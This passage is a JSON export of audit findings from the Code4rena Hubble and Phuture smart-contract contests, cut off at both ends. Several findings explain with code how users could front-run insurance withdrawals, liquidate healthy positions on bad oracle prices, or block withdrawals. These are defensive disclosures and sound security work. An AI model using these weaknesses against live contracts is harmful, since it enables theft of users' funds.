Assurance)", "2 (Med Risk)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/114", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "liquidation is vulnerable to sandwich attacks", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/113", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "liquidation is vulnerable to sandwich attacks"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/108", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/106", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/105", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/102", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "[WP-H7] `InsuranceFund#syncDeps()` may cause users' fund loss", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/100", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-hubble-findings", "body": "[WP-H7] `InsuranceFund#syncDeps()` may cause users' fund loss"}, {"title": "`settleFunding` will exceed block gas with more markets and activity", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/97", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-02-hubble-findings", "body": "`settleFunding` will exceed block gas with more markets and activity"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/96", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/95", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/94", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Ownership of Swap.vy cannot be transferred", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/93", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "Ownership of Swap.vy cannot be transferred"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/88", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/85", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "Update initializer modifier to prevent reentrancy during initialization", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/81", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/main/package.json#L18-L19 # Vulnerability details ## Impact The solution uses: ```jsx \"@openzeppelin/contracts\": \"^4.0.0\", \"@openzeppelin/contracts-upgradeable\": \"^4.3.2\", ``` These dependencies have a known high severity vulnerability: - https://security.snyk.io/vuln/SNYK-JS-OPENZEPPELINCONTRACTSUPGRADEABLE-2320177 - https://snyk.io/test/npm/@openzeppelin/contracts-upgradeable/4.3.2#SNYK-JS-OPENZEPPELINCONTRACTSUPGRADEABLE-2320177 - https://snyk.io/test/npm/@openzeppelin/contracts/4.0.0#SNYK-JS-OPENZEPPELINCONTRACTS-2320176 Which makes these contracts vulnerable: ```jsx contracts/helpers/CryptoPunksHelper.sol: 19: function initialize(address punksAddress) external initializer { contracts/helpers/EtherRocksHelper.sol: 19: function initialize(address rocksAddress) external initializer { contracts/staking/JPEGStaking.sol: 21: function initialize(IERC20Upgradeable _jpeg) external initializer { contracts/vaults/FungibleAssetVaultForDAO.sol: 71: ) external initializer { contracts/vaults/NFTVault.sol: 149: ) external initializer { ``` ## Recommended Mitigation Steps Upgrade `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable` to version 4.4.1 or higher. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "USDC blacklisted accounts can DoS the withdrawal system", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/76", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/VUSD.sol#L53-L67 # Vulnerability details ## Impact DoS of USDC withdrawal system ## Proof of Concept Currently, withdrawals are queued in an array and processed sequentially in a for loop. However, a `safeTransfer()` to USDC blacklisted user will fail. It will also brick the withdrawal system because the blacklisted user is never cleared. https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/VUSD.sol#L53-L67 ## Tools Used Manual review ## Recommended Mitigation Steps Possible solutions: 1st solution: Implement 2-step withdrawals: - In a for loop, increase the user's amount that can be safely withdrawn. - A user himself withdraws his balance 2st solution: Skip blacklisted users in a processWithdrawals loop "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/74", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "Users are able to front-run bad debt settlements to avoid insurance costs", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/InsuranceFund.sol#L71-L75 https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/InsuranceFund.sol#L62-L69 # Vulnerability details ## Impact A user is able to front-run the call to `seizeBadDebt()` in `InsuranceFund.sol` to avoid paying the insurance costs. `seizeBadDebt()` is called by `MarginAccount.settleBadDebt()` which is a public function. When this functions is called the transaction will appear in the mem pool. A user may then call `InsuranceFund.withdraw()` to withdraw all of their shares. If they do this with a higher gas fee it will likely be processed before the `settleBadDebt()` transaction. In this way they will avoid incurring any cost from the assets being seized. The impact is that users may gain their share of the insurance funding payments with minimal risk (minimal as there is a change the front-run will not succeed) of having to repay these costs. ## Proof of Concept ``` function withdraw(uint _shares) external { settlePendingObligation(); require(pendingObligation == 0, \"IF.withdraw.pending_obligations\"); uint amount = balance() * _shares / totalSupply(); _burn(msg.sender, _shares); vusd.safeTransfer(msg.sender, amount); emit FundsWithdrawn(msg.sender, amount, block.timestamp); } ``` ``` function seizeBadDebt(uint amount) external onlyMarginAccount { pendingObligation += amount; emit BadDebtAccumulated(amount, block.timestamp); settlePendingObligation(); } ``` ## Recommended Mitigation Steps Consider making the withdrawals a two step process. The first step requests a withdrawal and marks the time. The second request processes the withdrawal but requires a period of time to elapse since the first step. To avoid having users constantly having pending withdrawal, each withdrawal should have an expiry time and also a recharge time. The if the second step is not called within expiry amount of time it should be considered invalid. The first step must not be able to be called until recharge time has passed. Another solution involves a design change where the insurance fund is slowly filled up over time without external deposits. However, this has the disadvantage that bad debts received early in the protocols life time may not have sufficient insurance capital to cover them. "}, {"title": "AMM Cannot Be `initialize()` Except By Governance", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/AMM.sol#L93-L108 https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/AMM.sol#L730-L734 https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/legos/Governable.sol#L10-L13 # Vulnerability details ## Impact The contact `AMM.sol` cannot be initialize unless it is called from the `_governance` address. This prevents the use of a deployer account and requires the governance to be able to deploy proxy contracts and encode the required arguements. If this is not feasible then the contract cannot be deployed. ## Proof of Concept `initialize()` calls `_setGovernace(_governance);` which will store the governance address. Following this it will call `syncDeps(_registry);` which has `onlyGovernance` modifier. Thus, if the `msg.sender` of `initialize()` is not the same as the parameter `_governance` then the initialisation will revert. ```solidity function initialize( address _registry, address _underlyingAsset, string memory _name, address _vamm, address _governance ) external initializer { _setGovernace(_governance); vamm = IVAMM(_vamm); underlyingAsset = _underlyingAsset; name = _name; fundingBufferPeriod = 15 minutes; syncDeps(_registry); } ``` ## Recommended Mitigation Steps Consider adding the steps manually to `initialize()`. i.e. ```solidity function initialize( address _registry, address _underlyingAsset, string memory _name, address _vamm, address _governance ) external initializer { _setGovernace(_governance); vamm = IVAMM(_vamm); underlyingAsset = _underlyingAsset; name = _name; fundingBufferPeriod = 15 minutes; IRegistry registry = IRegistry(_registry); clearingHouse = registry.clearingHouse(); oracle = IOracle(registry.oracle()); } ``` "}, {"title": "ClearingHouse May Whitelist Duplicate AMMs", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/ClearingHouse.sol#L339-L342 https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/ClearingHouse.sol#L269-L282 # Vulnerability details ## Impact `ClearingHouse.sol` allows the Governance protocol to whitelist `AMM.sol` contracts. These contracts allow users to earn profits based on the price of a base asset against a quote asset. It is possible to add the same `AMM` twice in the function `whitelistAmm()`. The impact is that unrealized profits will be counted multiple times. As a result the liquidation calculations will be incorrect, potentially allowing users to trade while insolvent or incorrectly liquidating solvent users. Note `whitelistAmm()` may only be called by Governance. ## Proof of Concept The function `getTotalNotionalPositionAndUnrealizedPnl()` will iterate over all `amms` summing the `unrealizedPnl` and `notinoalPosition`, thus if an `amm` is repeated the `unrealizedPnl` and `notionalPosition` of that asset will be counted multiple times. This is used in `_calcMarginFraction()` which calculates a users margin as a fraction of the total position. The margin fraction is used to determine if a user is liquitable or is allowed to open new positions. ## Recommended Mitigation Steps Consider ensuring the `AMM` does not already exist in the list when adding a new `AMM`. ``` function whitelistAmm(address _amm) external onlyGovernance { for (uint256 i; i < amm.length; i++) { require(amm[i] != IAMM(_amm), \"AMM already whitelisted\"); } emit MarketAdded(amms.length, _amm); amms.push(IAMM(_amm)); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor acknowledged"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Liquidations can be run on the bogus Oracle prices", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/46", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/Oracle.sol#L24-L35 # Vulnerability details ## Impact If the price feed is manipulated in any way or there is any malfunction based volatility on the market, a malicious user can use this to liquidate a healthy position. An attacker can setup a monitoring of the used Oracle feed and act on observing a price outbreak (for example, zero price, which is usually a subject to filtration), liquidating the trader position which is perfectly healthy otherwise, obtaining the collateral with a substantial discount at the expense of the trader. The same is for a flash crash kind of scenario, i.e. a price outbreak of any nature will allow for non-market liquidation by an attacker, who has the incentives to setup such a monitoring and act on such an outbreak, knowing that it will not be smoothed or filtered out, allowing a liquidation at a non-market price that happen to be printed in the Oracle feed ## Proof of Concept Oracle.getUnderlyingPrice just passes on the latest Oracle answer, not checking it anyhow: https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/Oracle.sol#L24-L35 It is then used in liquidation triggers providing isLiquidatable and _getLiquidationInfo functions: https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/MarginAccount.sol#L249 https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/MarginAccount.sol#L465 ## Recommended Mitigation Steps Add a non-zero Oracle price check, possibly add an additional Oracle feed information usage to control that the price is fresh. Please consult the Chainlink for that as OCR introduction might have changed the state of the art approach (i.e. whether and how to use latestRoundData returned data): https://docs.chain.link/docs/off-chain-reporting/ Regarding any price spikes it is straightforward to construct a mitigation mechanics for such cases, so the system will be affected by sustainable price movements only. As price outrages provide a substantial attack surface for the project it's worth adding some complexity to the implementation. One of the approaches is to track both current and TWAP prices, and condition all state changing actions, including liquidations, on the current price being within a threshold of the TWAP one. If the liquidation margin level is conservative enough and TWAP window is small enough this is safe for the overall stability of the system, while providing substantial mitigation mechanics by allowing state changes on the locally calm market only. Another approach is to introduce time delay between liquidation request and actual liquidation. Again, conservative enough margin level plus small enough delay keeps the system safe, while requiring that market conditions allow for liquidation both at request time and at execution time provides ample filtration against price feed outbreaks "}, {"title": "`Oracle.getUnderlyingPrice` could have wrong decimals", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/8c157f519bc32e552f8cc832ecc75dc381faa91e/contracts/Oracle.sol#L34 # Vulnerability details ## Impact The `Oracle.getUnderlyingPrice` function divides the chainlink price by `100`. It probably assumes that the answer for the underlying is in 8 decimals but then wants to reduce it for 6 decimals to match USDC. However, arbitrary `underlying` tokens are used and the chainlink oracles can have different decimals. ## Recommended Mitigation Steps While most USD price feeds use 8 decimals, it's better to take the on-chain reported decimals into account by doing `AggregatorV3Interface(chainLinkAggregatorMap[underlying]).decimals()`, see [Chainlink docs](https://docs.chain.link/docs/get-the-latest-price/#getting-a-different-price-denomination). The price should then be scaled down to 6 decimals. "}, {"title": "InsuranceFund depositors can be priced out & deposits can be stolen", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/42", "labels": ["bug", "3 (High Risk)"], "target": "2022-02-hubble-findings", "body": "InsuranceFund depositors can be priced out & deposits can be stolen"}, {"title": "ClearingHouse margin calculations will break up if an AMM returning non-6 decimals positions be white listed", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/37", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "ClearingHouse margin calculations will break up if an AMM returning non-6 decimals positions be white listed"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/34", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/33", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/32", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Blocking of the VUSD withdrawals is possible if the reserve token doesn't support zero value transfers", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/29", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "Blocking of the VUSD withdrawals is possible if the reserve token doesn't support zero value transfers"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/12", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "Hidden governance", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/8c157f519bc32e552f8cc832ecc75dc381faa91e/contracts/VUSD.sol#L11 # Vulnerability details ## Impact The contract use two governance model, one looks hidden. ## Proof of Concept The VUSD contract uses `VanillaGovernable` but inherits from `ERC20PresetMinterPauserUpgradeable` and this contract uses roles to use some administrative methods like `pause` or `mint`. This two-governance model does not seem necessary and can hide or raise suspicion about a rogue pool, thus damaging the user's trust. ## Recommended Mitigation Steps Unify governance in only one, VanillaGovernable or role based. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/7", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/6", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/2", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/85", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/83", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-phuture-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/68", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-phuture-findings", "body": "QA Report"}, {"title": "`UniswapV2PriceOracle.sol` `currentCumulativePrices()` will revert when `priceCumulative` addition overflow", "html_url": "https://github.com/code-423n4/2022-04-phuture-findings/issues/62", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-phuture-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-phuture/blob/594459d0865fb6603ba388b53f3f01648f5bb6fb/contracts/UniswapV2PriceOracle.sol#L62 # Vulnerability details https://github.com/code-423n4/2022-04-phuture/blob/594459d0865fb6603ba388b53f3f01648f5bb6fb/contracts/UniswapV2PriceOracle.sol#L62 ```solidity (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = address(pair).currentCumulativePrices(); ``` Because the Solidity version used by the current implementation of `UniswapV2OracleLibrary.sol` is `>=0.8.7`, and there are some breaking changes in Solidity v0.8.0: > Arithmetic operations revert on underflow and overflow. Ref: https://docs.soliditylang.org/en/v0.8.13/080-breaking-changes.html#silent-changes-of-the-semantics While in `UniswapV2OracleLibrary.sol`, subtraction overflow is desired at `blockTimestamp - blockTimestampLast` in `currentCumulativePrices()`: https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/UniswapV2OracleLibrary.sol#L25-L33 ```solidity if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } ``` In another word, `Uniswap/v2-periphery/contracts/libraries/UniswapV2OracleLibrary` only works at solidity < `0.8.0`. As a result, when `price0Cumulative` or `price1Cumulative` is big enough, `currentCumulativePrices` will revert due to overflow. ### Impact Since the overflow is desired in the original version, and it's broken because of using Solidity version >0.8. The `UniswapV2PriceOracle` contract will break when the desired overflow happens, and further breaks other parts of the system that relies on `UniswapV2PriceOracle`. ### Recommendation Note: this recommended fix requires a fork of the library contract provided by Uniswap. Change to: ```solidity if (blockTimestampLast != blockTimestamp) { unchecked { // subtraction overflow is 